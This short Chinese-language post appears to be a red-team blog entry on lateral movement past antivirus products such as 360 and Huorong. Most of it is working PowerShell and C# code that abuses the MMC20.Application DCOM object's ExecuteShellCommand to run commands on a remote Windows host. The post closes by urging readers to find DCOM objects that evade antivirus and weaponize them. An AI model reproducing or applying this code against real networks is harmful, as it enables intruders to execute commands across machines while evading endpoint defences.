过杀软横向移动

Delina

原文链接：过杀软横向移动
​
横向移动的方式有很多，但目前大多数杀软均对此有所拦截。下图为火绒的设置图
​
360就更别提了，早就有了该安全防护。而本人比较热衷于DCOM的使用，常见的DCOM利用如下：

1. 
   
2. $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
   
3. $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")

复制代码

但也是会被拦截，但并非所有的DCOM都在杀软的防护范围之内。下面是测试视频：成功绕过360执行了程序（火绒无效）。
PS调用DCOM方法如下：

1. $Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
   
2. $Obj = [System.Activator]::CreateInstance($Com)
   
3. $Obj.Document.ActiveView.ExecuteShellCommand($Command,$null,$null,"7")

复制代码

C#方式如下：

1. Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName);
   
2. object RemoteComObject = Activator.CreateInstance(ComType);
   
3. object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
   
4. object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null);
   
5. ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command , null , Parameters , 7 });
   

复制代码

根据自身情况，查找可绕过杀软的DCOM，并武器化即可。​